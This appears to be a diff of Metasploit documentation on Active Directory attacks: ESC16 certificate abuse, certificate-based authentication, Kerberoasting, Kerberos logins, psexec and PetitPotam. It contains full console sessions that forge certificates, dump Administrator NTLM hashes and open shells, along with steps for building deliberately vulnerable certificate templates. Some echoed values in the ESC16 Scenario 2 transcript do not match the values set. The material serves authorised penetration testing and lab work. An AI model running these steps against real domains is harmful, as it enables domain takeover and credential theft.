certificates to user or computer SIDs for strong authentication.
When this OID is listed under the CAs `DisableExtensionList` registry key, which is located:
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA-Name>\PolicyModules\<PolicyModuleName>\`
all certificates issued by the CA will lack the SID binding, making every template behave as though it has the
`CT_FLAG_NO_SECURITY_EXTENSION` flag (essentially ESC9). After updating the `DisableExtensionList` the machine will need
to be restarted for the changes to take effect. The `DisableExtensionList` under the default policy can be updated in
order to exploit (a new policy is not required).
## ESC16 Scenario 1
If domain controllers arent in Full Enforcement mode (`StrongCertificateBindingEnforcement` != 2), they fall back to
weaker mapping methods like UPN or DNS from the certificates SAN potentially reintroducing risks similar to the
Certifried vulnerability (CVE-2022-26923) or ESC9 however for our purposes given the `DisableExtensionList` is called
"ESC16 Scenario 1". The way you exploit ESC16 scenario 1 with Metasploit is identical to how you would exploit ESC9:
```
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
rhosts => 172.16.199.200
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
ldaprport => 389
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username user2
target_username => user2
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
ldapdomain => kerberos.issue
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
ldappassword => N0tpassword!
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername user1
ldapusername => user1
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE Administrator
UPDATE_LDAP_OBJECT_VALUE => Administrator
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ca kerberos-dc2-ca
ca => kerberos-dc2-ca
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set cert_template ESC16-Template
cert_template => ESC16-Template
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
[*] Running module against 172.16.199.200
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Current value of user2's userPrincipalName: user2
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to Administrator...
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to Administrator
[+] The operation completed successfully!
[*] 172.16.199.200:445 - Adding shadow credentials for user2
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250717152132_default_172.16.199.200_windows.ad.cs_473934.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 0d055983-7921-797a-529e-259b4b7542a2
[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
[*] 172.16.199.200:445 - Getting hash for user2
[!] Warning: Provided principal and realm (user2@kerberos.issue) do not match entries in certificate:
[+] 172.16.199.200:88 - Received a valid TGT-Response
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717152132_default_172.16.199.200_mit.kerberos.cca_930617.bin
[*] 172.16.199.200:88 - Getting NTLM hash for user2@kerberos.issue
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717152132_default_172.16.199.200_mit.kerberos.cca_355422.bin
[+] Found NTLM hash for user2: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
[+] 172.16.199.200:445 - The requested certificate was issued.
[*] 172.16.199.200:445 - Certificate Policies:
[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.2 (Client Authentication)
[*] 172.16.199.200:445 - Certificate UPN: Administrator
[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250717152134_default_172.16.199.200_windows.ad.cs_383174.pfx
[*] 172.16.199.200:445 - reverting ldap object
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[+] Deleted entry with device ID 0d055983-7921-797a-529e-259b4b7542a2
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Current value of user2's userPrincipalName: Administrator
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to user2...
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to user2
[+] The operation completed successfully!
[*] Auxiliary module execution completed
```
With the certificate issued, the attacker can then use the `kerberos/get_ticket` module to obtain the hash of the admin user:
```
msf6 auxiliary(admin/kerberos/get_ticket) > get_hash rhost=172.16.199.200 cert_file=//Users/jheysel/.msf4/loot/20250717152134_default_172.16.199.200_windows.ad.cs_383174.pfx username=Administrator domain=kerberos.issue
[*] Running module against 172.16.199.200
[!] Warning: Provided principal and realm (Administrator@kerberos.issue) do not match entries in certificate:
[!] * Administrator@
[+] 172.16.199.200:88 - Received a valid TGT-Response
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717152325_default_172.16.199.200_mit.kerberos.cca_344926.bin
[*] 172.16.199.200:88 - Getting NTLM hash for Administrator@kerberos.issue
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717152325_default_172.16.199.200_mit.kerberos.cca_598018.bin
[+] Found NTLM hash for Administrator: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
[*] Auxiliary module execution completed
```
#### ESC16 Scenario 2
If domain controllers are in Full Enforcement mode (`StrongCertificateBindingEnforcement` == 2), ESC16 alone would normally
prevent authentication using certificates that lack the required SID extension. However, if the CA is also vulnerable
to ESC6, which is defined as: `EDITF_ATTRIBUTESUBJECTALTNAME2` flag is set under it's `EditFlags` registry key, located here:
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA-Name>\PolicyModules\<PolicyModuleName>\`
then the CA accepts arbitrary SAN values from certificate request attribute and an attacker can still bypass strong
certificate mapping.
In this case, the attacker requests a certificate from the ESC16-affected CA using any client authentication template
(like "User"), which ensures the SID security extension is omitted. At the same time, they exploit the ESC6 weakness to
inject a custom Subject Alternative Name that includes both a forged UPN and a specially crafted SID value using the format:
`URI:tag:microsoft.com,2022-09-14:sid:<SID>`. This format was introduced in the May 2022 KB5014754 update and
intended to help support strong certificate mappings between the user SID and the certificate.
Because the certificate lacks the official SID extension (due to ESC16) but includes a valid-looking SAN SID URI
(via ESC6), the domain controller accepts it and maps the certificate using the supplied SID—even in Full Enforcement mode.
The way you would exploit ESC16 Scenario 2 with Metasploit is different than Scenario 1 as we don't need to update
any LDAP objects, and so we can use the `icpr_cert` module to request a certificate.
```
msf6 auxiliary(admin/dcerpc/icpr_cert) > set alt_sid S-1-5-21-2324486357-3075865580-3606784161-500
alt_sid => S-1-5-21-1655260159-4293876351-2321352318-500
msf6 auxiliary(admin/dcerpc/icpr_cert) > set alt_upn Administrator@kerberos.issue
alt_upn => Administrator@msf.local
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ca kerberos-DC2-CA
ca => msf-DC3-CA
msf6 auxiliary(admin/dcerpc/icpr_cert) > set cert_template User
cert_template => User
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.16.199.200
RHOSTS => 172.16.199.130
msf6 auxiliary(admin/dcerpc/icpr_cert) > set smbdomain kerberos.issue
smbdomain => msf.local
msf6 auxiliary(admin/dcerpc/icpr_cert) > set smbpass N0tpassword!
smbpass => N0tpassword!
msf6 auxiliary(admin/dcerpc/icpr_cert) > set smbuser user1
smbuser => user1
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 172.16.199.200
[+] 172.16.199.200:445 - The requested certificate was issued.
[*] 172.16.199.200:445 - Certificate Policies:
[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.2 (Client Authentication)
[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.4 (Secure Email)
[*] 172.16.199.200:445 - * 1.3.6.1.4.1.311.10.3.4 (Encrypting File System)
[*] 172.16.199.200:445 - Certificate UPN: Administrator@kerberos.issue
[*] 172.16.199.200:445 - Certificate URI: tag:microsoft.com,2022-09-14:sid:S-1-5-21-2324486357-3075865580-3606784161-500, S-1-5-21-2324486357-3075865580-3606784161-500
[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250711145606_default_172.16.199.200_windows.ad.cs_597422.pfx
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > use admin/kerberos/get_ticket
[*] Using action GET_TGT - view all 3 actions with the show actions command
msf6 auxiliary(admin/kerberos/get_ticket) > get_hash rhost=172.16.199.200 cert_file=/Users/jheysel/.msf4/loot/20250711145606_default_172.16.199.200_windows.ad.cs_597422.pfx
[*] Running module against 172.16.199.200
[+] 172.16.199.200:88 - Received a valid TGT-Response
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250711145619_default_172.16.199.200_mit.kerberos.cca_635830.bin
[*] 172.16.199.200:88 - Getting NTLM hash for Administrator@kerberos.issue
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250711145619_default_172.16.199.200_mit.kerberos.cca_787259.bin
[+] Found NTLM hash for Administrator: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
[*] Auxiliary module execution completed
```
# Authenticating With A Certificate
Metasploit supports authenticating with certificates in a couple of different ways. These techniques can be used to take
further actions once a certificate has been issued for a particular identity (such as a Domain Admin user).
@@ -1100,7 +1658,7 @@ Certificates can be used to obtain the NTLM hash of an account with the PKINIT e
action to `GET_HASH`.
```msf
msf6 auxiliary(admin/kerberos/get_ticket) > get_hash rhosts=172.30.239.85 cert_file=/home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx
msf auxiliary(admin/kerberos/get_ticket) > get_hash rhosts=172.30.239.85 cert_file=/home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx
[*] Running module against 172.30.239.85
[+] 172.30.239.85:88 - Received a valid TGT-Response
@@ -1110,7 +1668,7 @@ msf6 auxiliary(admin/kerberos/get_ticket) > get_hash rhosts=172.30.239.85 cert_f
[*] 172.30.239.85:88 - TGS MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230505094204_default_172.30.239.85_mit.kerberos.cca_031414.bin
[+] Found NTLM hash for Administrator: aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f
[*] Auxiliary module execution completed
msf6 auxiliary(admin/kerberos/get_ticket) >
msf auxiliary(admin/kerberos/get_ticket) >
```
### Getting A Kerberos Ticket
@@ -1118,21 +1676,21 @@ Certificates can be used to issue a Kerberos ticket granting ticket (TGT) which
services such as HTTP, LDAP and SMB. Ticket granting tickets can be requested using the `GET_TGT` action.
```msf
msf6 auxiliary(admin/kerberos/get_ticket) > get_tgt rhosts=172.30.239.85 cert_file=/home/smcintyre/.msf4/loot/20230124173224_default_172.30.239.85_windows.ad.cs_287833.pfx
msf auxiliary(admin/kerberos/get_ticket) > get_tgt rhosts=172.30.239.85 cert_file=/home/smcintyre/.msf4/loot/20230124173224_default_172.30.239.85_windows.ad.cs_287833.pfx
[*] Running module against 172.30.239.85
[*] 172.30.239.85:88 - Getting TGT for Administrator@daforest.com
[+] 172.30.239.85:88 - Received a valid TGT-Response
[*] 172.30.239.85:88 - TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230124202354_default_172.30.239.85_mit.kerberos.cca_566767.bin
[*] Auxiliary module execution completed
msf6 auxiliary(admin/kerberos/get_ticket) > klist
msf auxiliary(admin/kerberos/get_ticket) > klist
Kerberos Cache
==============
host principal sname issued status path
---- --------- ----- ------ ------ ----
172.30.239.85 Administrator@daforest.com krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-01-24 20:23:54 -0500 valid /home/smcintyre/.msf4/loot/20230124202354_default_172.30.239.85_mit.kerberos.cca_566767.bin
msf6 auxiliary(admin/kerberos/get_ticket) >
msf auxiliary(admin/kerberos/get_ticket) >
```
Once the TGT has been issued, it can be seen in the output of the `klist` command. With the TGT saved, it will
@@ -1148,16 +1706,16 @@ use schannel authentication a few options must be set.
* `SSL` -- must be set to `true` (`schannel` authentication is only compatible with TLS connections)
```msf
msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.30.239.85
msf auxiliary(gather/ldap_query) > set RHOSTS 172.30.239.85
RHOSTS => 172.30.239.85
msf6 auxiliary(gather/ldap_query) > set LDAP::Auth schannel
msf auxiliary(gather/ldap_query) > set LDAP::Auth schannel
LDAP::Auth => schannel
msf6 auxiliary(gather/ldap_query) > set LDAP::CertFile /home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx
msf auxiliary(gather/ldap_query) > set LDAP::CertFile /home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx
LDAP::CertFile => /home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx
msf6 auxiliary(gather/ldap_query) > set SSL true
msf auxiliary(gather/ldap_query) > set SSL true
[!] Changing the SSL option's value may require changing RPORT!
SSL => true
msf6 auxiliary(gather/ldap_query) > enum_domain
msf auxiliary(gather/ldap_query) > enum_domain
[*] Running module against 172.30.239.85
[*] Discovering base DN automatically
@@ -1178,5 +1736,5 @@ DC=msflab DC=local
objectsid S-1-5-21-3402587289-1488798532-3618296993
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_query) >
msf auxiliary(gather/ldap_query) >
```
@@ -52,79 +52,4 @@ Microsoft provides a very useful [training module](https://learn.microsoft.com/e
that covers the fundamentals of AD CS and as well as examples which cover the management of certificate enrollment, certificate revocation and certificate trusts.
## Setting up A Vulnerable AD CS Server
The following steps assume that you have installed an AD CS on either a new or existing domain controller.
### Installing AD CS
1. Open the Server Manager
2. Select Add roles and features
3. Select "Active Directory Certificate Services" under the "Server Roles" section
4. When prompted add all of the features and management tools
5. On the AD CS "Role Services" tab, leave the default selection of only "Certificate Authority"
6. Completion the installation and reboot the server
7. Reopen the Server Manager
8. Go to the AD CS tab and where it says "Configuration Required", hit "More" then "Configure Active Directory Certificate..."
9. Select "Certificate Authority" in the Role Services tab
10. Select "Enterprise CA" in the "Setup Type" tab (the user must be a Domain Administrator for this option to be available)
11. Keep all of the default settings, noting the value of the "Common name for this CA" on the "CA Name" tab (this value corresponds to the `CA` datastore option)
12. Accept the rest of the default settings and complete the configuration
### Setting up a ESC1 Vulnerable Certificate Template
1. Open up the run prompt and type in `certsrv`.
2. In the window that appears you should see your list of certification authorities under `Certification Authority (Local)`. Right click on the folder in the drop down marked `Certificate Templates` and then click `Manage`.
3. Scroll down to the `User` certificate. Right click on it and select `Duplicate Template`.
4. From here you can refer to the following [Active-Directory-Certificate-Services-abuse](https://github.com/RayRRT/Active-Directory-Certificate-Services-abuse/blob/3da1d59f1b66dd0e381b2371b8fb42d87e2c9f82/ADCS.md) documentation for screenshots.
5. Select the `General` tab and rename this to something meaningful like `ESC1-Template`, then click the `Apply` button.
6. In the `Subject Name` tab, select `Supply in the request` and click `Ok` on the security warning that appears. Then click the `Apply` button.
7. Scroll to the `Extensions` tab and under `Application Policies` ensure that `Client Authentication`, `Server Authentication`, `KDC Authentication`, or `Smart Card Logon` is listed. Then click the `Apply` button.
8. Under the `Security` tab make sure that `Domain Users` group listed and the `Enroll` permissions is marked as allowed for this group.
9. Under `Issuance Requirements` tab, ensure that under `Require the following for enrollment` that the `CA certificate manager approval` box is unticked, as is the `This number of authorized signatures` box.
10. Click `Apply` and then `Ok`
11. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. Then click `New` followed by `Certificate Template to Issue`.
12. Scroll down and select the `ESC1-Template` certificate, or whatever you named the ESC1 template you created, and select `OK`. The certificate should now be available to be issued by the CA server.
### Setting up a ESC2 Vulnerable Certificate Template
1. Open up `certsrv`
2. Scroll down to `Certificate Templates` folder, right click on it and select `Manage`.
3. Find the `ESC1` certificate template you created earlier and right click on that, then select `Duplicate Template`.
4. Select the `General` tab, and then name the template `ESC2-Template`. Then click `Apply`.
5. Go to the `Subject Name` tab and select `Build from this Active Directory Information` and select `Fully distinguished name` under the `Subject Name Format`. The main idea of setting this option is to prevent being able to supply the subject name in the request as this is more what makes the certificate vulnerable to ESC1. The specific options here I don't think will matter so much so long as the `Supply in the request` option isn't ticked. Then click `Apply`.
6. Go the to `Extensions` tab and click on `Application Policies`. Then click on `Edit`.
7. Delete all the existing application policies by clicking on them one by one and clicking the `Remove` button.
8. Click the `Add` button and select `Any Purpose` from the list that appears. Then click the `OK` button.
9. Click the `Apply` button, and then `OK`. The certificate should now be created.
10. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. Then click `New` followed by `Certificate Template to Issue`.
11. Scroll down and select the `ESC2-Template` certificate, or whatever you named the ESC2 template you created, and select `OK`. The certificate should now be available to be issued by the CA server.
### Setting up a ESC3 Template 1 Vulnerable Certificate Template
1. Follow the instructions above to duplicate the ESC2 template and name it `ESC3-Template1`, then click `Apply`.
2. Go to the `Extensions` tab, click the Application Policies entry, click the `Edit` button, and remove the `Any Purpose` policy and replace it with `Certificate Request Agent`, then click `OK`.
3. Click `Apply`.
4. Go to `Issuance Requirements` tab and double check that both `CA certificate manager approval` and `This number of authorized signatures` are unchecked.
5. Click `Apply` if any changes were made or the button is not grey'd out, then click `OK` to create the certificate.
6. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. Then click `New` followed by `Certificate Template to Issue`.
7. Scroll down and select the `ESC3-Template1` certificate, or whatever you named the ESC3 template number 1 template you just created, and select `OK`. The certificate should now be available to be issued by the CA server.
### Setting up a ESC3 Template 2 Vulnerable Certificate Template
1. Follow the instructions above to duplicate the ESC2 template and name it `ESC3-Template2`, then click `Apply`.
2. Go to the `Extensions` tab, click the Application Policies entry, click the `Edit` button, and remove the `Any Purpose` policy and replace it with `Client Authentication`, then click `OK`.
3. Click `Apply`.
4. Go to `Issuance Requirements` tab and double check that both `CA certificate manager approval` is unchecked.
5. Check the `This number of authorized signatures` checkbox and ensure the value specified is 1, and that the `Policy type required in signature` is set to `Application Policy`, and that the `Application policy` value is `Certificate Request Agent`.
6. Click `Apply` and then click `OK` to issue the certificate.
7. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. Then click `New` followed by `Certificate Template to Issue`.
8. Scroll down and select the `ESC3-Template2` certificate, or whatever you named the ESC3 template number 2 template you just created, and select `OK`. The certificate should now be available to be issued by the CA server.
### Setting up a ESC8 Vulnerable Host
1. Follow instructions for creating an AD CS enabled server
2. Select Add Roles and Features
3. Under "Select Server Roles" expand Active Directory Certificate Services and add `Certificate Enrollment Policy Web Service`, `Certificate Enrollment Web Service`, and `Certificate Authority Web Enrollment`.
4. For each selection, accept the default for any pop-up.
5. Accept the default features and install.
6. When the installation is complete, click on the warning in the Dashboard for post-deployment configuration.
7. Under Credentials, accept the default
8. Under Role Services, select `Certificate Authority Web Enrollment`, `Certificate Enrollment Web Service`, and `Certificate Enrollment Policy Web Service`
9. In CA for CES, accept the defaults
10. In Authentication Types, accept the default integrated authentication
11. In Service account for CES, select `Use built-in application pool identity`
12. Accept default integrated authentication for CEP
13. Select the domain certificate in Server Certificate (the one that starts with the domain name by default) if more than one appears.
14. Accept the remaining defaults.
The steps for setting up a vulnerable AD CS server are covered in the [[Installing AD CS|./ldap_esc_vulnerable_cert_finder.md]] section.
@@ -51,7 +51,7 @@ run rhost=192.168.123.13 user=<username> pass=<password> domain=<domain>
If you followed the lab setup setup above, this should output the following result:
```msf
msf6 auxiliary(gather/get_user_spns) > run rhost=192.168.123.13 user=Administrator pass=p4$$w0rd domain=adf3.local
msf auxiliary(gather/get_user_spns) > run rhost=192.168.123.13 user=Administrator pass=p4$$w0rd domain=adf3.local
[*] Running for 192.168.123.13...
[+] ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
@@ -109,16 +109,16 @@ First an SPN needs to be found. This can be done in a number of ways - including
very own `auxiliary/gather/ldap_query` module:
```msf
msf6 > use auxiliary/gather/ldap_query
msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.16.199.235
msf > use auxiliary/gather/ldap_query
msf auxiliary(gather/ldap_query) > set RHOSTS 172.16.199.235
RHOSTS => 172.16.199.235
msf6 auxiliary(gather/ldap_query) > set BIND_DN DARWIN_CLAY
msf auxiliary(gather/ldap_query) > set BIND_DN DARWIN_CLAY
BIND_DN => DARWIN_CLAY
msf6 auxiliary(gather/ldap_query) > set BIND_PW N0tpassword!
msf auxiliary(gather/ldap_query) > set BIND_PW N0tpassword!
BIND_PW => N0tpassword!
msf6 auxiliary(gather/ldap_query) > set action ENUM_USER_SPNS_KERBEROAST
msf auxiliary(gather/ldap_query) > set action ENUM_USER_SPNS_KERBEROAST
action => ENUM_USER_SPNS_KERBEROAST
msf6 auxiliary(gather/ldap_query) > run
msf auxiliary(gather/ldap_query) > run
[*] Running module against 172.16.199.235
[+] Successfully bound to the LDAP server!
@@ -18,8 +18,8 @@ Metasploit currently offers Kerberos authentication for the following services -
Open a WinRM session:
```msf
msf6 > use auxiliary/scanner/winrm/winrm_login
msf6 auxiliary(scanner/winrm/winrm_login) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd winrm::auth=kerberos domaincontrollerrhost=192.168.123.13 winrm::rhostname=dc3.demo.local domain=demo.local
msf > use auxiliary/scanner/winrm/winrm_login
msf auxiliary(scanner/winrm/winrm_login) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd winrm::auth=kerberos domaincontrollerrhost=192.168.123.13 winrm::rhostname=dc3.demo.local domain=demo.local
[+] 192.168.123.13:88 - Received a valid TGT-Response
[*] 192.168.123.13:5985 - TGT MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230118120604_default_192.168.123.13_mit.kerberos.cca_451736.bin
@@ -31,7 +31,7 @@ msf6 auxiliary(scanner/winrm/winrm_login) > run rhost=192.168.123.13 username=Ad
[*] Command shell session 1 opened (192.168.123.1:50722 -> 192.168.123.13:5985) at 2023-01-18 12:06:05 +0000
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/winrm/winrm_login) > sessions -i -1
msf auxiliary(scanner/winrm/winrm_login) > sessions -i -1
[*] Starting interaction with 1...
Microsoft Windows [Version 10.0.14393]
@@ -43,8 +43,8 @@ C:\Users\Administrator>
Query LDAP for accounts:
```msf
msf6 > use auxiliary/gather/ldap_query
msf6 auxiliary(gather/ldap_query) > run action=ENUM_ACCOUNTS rhost=192.168.123.13 username=Administrator password=p4$$w0rd ldap::auth=kerberos ldap::rhostname=dc3.demo.local domain=demo.local domaincontrollerrhost=192.168.123.13
msf > use auxiliary/gather/ldap_query
msf auxiliary(gather/ldap_query) > run action=ENUM_ACCOUNTS rhost=192.168.123.13 username=Administrator password=p4$$w0rd ldap::auth=kerberos ldap::rhostname=dc3.demo.local domain=demo.local domaincontrollerrhost=192.168.123.13
[*] Running module against 192.168.123.13
[+] 192.168.123.13:88 - Received a valid TGT-Response
@@ -79,8 +79,8 @@ CN=Administrator CN=Users DC=adf3 DC=local
Running psexec against a host:
```msf
msf6 > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd smb::auth=kerberos domaincontrollerrhost=192.168.123.13 smb::rhostname=dc3.demo.local domain=demo.local
msf > use exploit/windows/smb/psexec
msf exploit(windows/smb/psexec) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd smb::auth=kerberos domaincontrollerrhost=192.168.123.13 smb::rhostname=dc3.demo.local domain=demo.local
[*] Started reverse TCP handler on 192.168.123.1:4444
[*] 192.168.123.13:445 - Connecting to the server...
@@ -102,8 +102,8 @@ meterpreter >
Connect to a Microsoft SQL Server instance and run a query:
```msf
msf6 > use auxiliary/admin/mssql/mssql_sql
msf6 auxiliary(admin/mssql/mssql_sql) > run 192.168.123.13 domaincontrollerrhost=192.168.123.13 username=administrator password=p4$$w0rd mssql::auth=kerberos mssql::rhostname=dc3.demo.local mssqldomain=demo.local sql='select auth_scheme from sys.dm_exec_connections where session_id=@@spid'
msf > use auxiliary/admin/mssql/mssql_sql
msf auxiliary(admin/mssql/mssql_sql) > run 192.168.123.13 domaincontrollerrhost=192.168.123.13 username=administrator password=p4$$w0rd mssql::auth=kerberos mssql::rhostname=dc3.demo.local mssqldomain=demo.local sql='select auth_scheme from sys.dm_exec_connections where session_id=@@spid'
[*] Reloading module...
[*] Running module against 192.168.123.13
@@ -142,7 +142,7 @@ Optional options:
* `read-only` -- Stored tickets from the cache will be used, but no new tickets are stored.
* `write-only` -- New tickets are requested and they are stored for reuse.
* `read-write` -- Stored tickets from the cache will be used and new tickets will be stored for reuse.
* `${Prefix}KrbOfferedEncryptionTypes' -- The list of encryption types presented to the KDC as being supported by the Metasploit client. i.e. `SmbKrbOfferedEncryptionTypes=AES256`
* `${Prefix}KrbOfferedEncryptionTypes` -- The list of encryption types presented to the KDC as being supported by the Metasploit client. i.e. `SmbKrbOfferedEncryptionTypes=AES256`
## Ticket management
@@ -150,7 +150,7 @@ When a write-enabled `KrbCacheMode` is used, tickets that are issued to Metasplo
command can be used to view tickets. It is a top level command and can be run even if a module is in use.
```msf
msf6 > klist
msf > klist
Kerberos Cache
==============
host principal sname issued status path
@@ -167,7 +167,7 @@ host principal sname issue
More detailed information can be displayed by using the verbose (`-v` / `--verbose`) option.
```msf
msf6 > klist -v
msf > klist -v
Kerberos Cache
==============
Cache[0]:
@@ -236,7 +236,7 @@ CCACHE files can be viewed with the `loot --type mit.kerberos.ccache` command (t
specified type).
```msf
msf6 auxiliary(admin/dcerpc/icpr_cert) > loot --type mit.kerberos.ccache
msf auxiliary(admin/dcerpc/icpr_cert) > loot --type mit.kerberos.ccache
Loot
====
@@ -46,18 +46,18 @@ and should be ignored as targets.
Use the `ENUM_UNCONSTRAINED_DELEGATION` action to enumerate targets:
```
msf6 > use auxiliary/gather/ldap_query
msf6 auxiliary(gather/ldap_query) > set RHOSTS 192.168.159.10
msf > use auxiliary/gather/ldap_query
msf auxiliary(gather/ldap_query) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf6 auxiliary(gather/ldap_query) > set DOMAIN msflab.local
msf auxiliary(gather/ldap_query) > set DOMAIN msflab.local
DOMAIN => msflab.local
msf6 auxiliary(gather/ldap_query) > set USERNAME aliddle
msf auxiliary(gather/ldap_query) > set USERNAME aliddle
USERNAME => aliddle
msf6 auxiliary(gather/ldap_query) > set PASSWORD Password1!
msf auxiliary(gather/ldap_query) > set PASSWORD Password1!
PASSWORD => Password1!
msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_UNCONSTRAINED_DELEGATION
msf auxiliary(gather/ldap_query) > set ACTION ENUM_UNCONSTRAINED_DELEGATION
ACTION => ENUM_UNCONSTRAINED_DELEGATION
msf6 auxiliary(gather/ldap_query) > run
msf auxiliary(gather/ldap_query) > run
[*] Running module against 192.168.159.10
[*] Discovering base DN automatically
@@ -83,16 +83,16 @@ CN=DC OU=Domain Controllers DC=msflab DC=local
samaccountname DC$
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_query) >
msf auxiliary(gather/ldap_query) >
```
This results in two potential targets, WS01 and DC. Next, use the `ENUM_DOMAIN_CONTROLLERS` action to identify the
domain controllers to remove from the list of potential targets.
```
msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_DOMAIN_CONTROLLERS
msf auxiliary(gather/ldap_query) > set ACTION ENUM_DOMAIN_CONTROLLERS
ACTION => ENUM_DOMAIN_CONTROLLERS
msf6 auxiliary(gather/ldap_query) > run
msf auxiliary(gather/ldap_query) > run
[*] Running module against 192.168.159.10
[*] Discovering base DN automatically
@@ -110,7 +110,7 @@ CN=DC OU=Domain Controllers DC=msflab DC=local
operatingsystemversion 10.0 (17763)
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_query) >
msf auxiliary(gather/ldap_query) >
```
This shows that DC is a domain controller and should be removed from the list, leaving WS01 as the only viable target.
@@ -124,21 +124,21 @@ remaining options including `RHOSTS` to the domain controller, and `SMBUser` / `
compromised domain account.
```
msf6 > use auxiliary/scanner/dcerpc/petitpotam
msf6 auxiliary(scanner/dcerpc/petitpotam) > set LISTENER ws01.msflab.local
msf > use auxiliary/scanner/dcerpc/petitpotam
msf auxiliary(scanner/dcerpc/petitpotam) > set LISTENER ws01.msflab.local
LISTENER => ws01.msflab.local
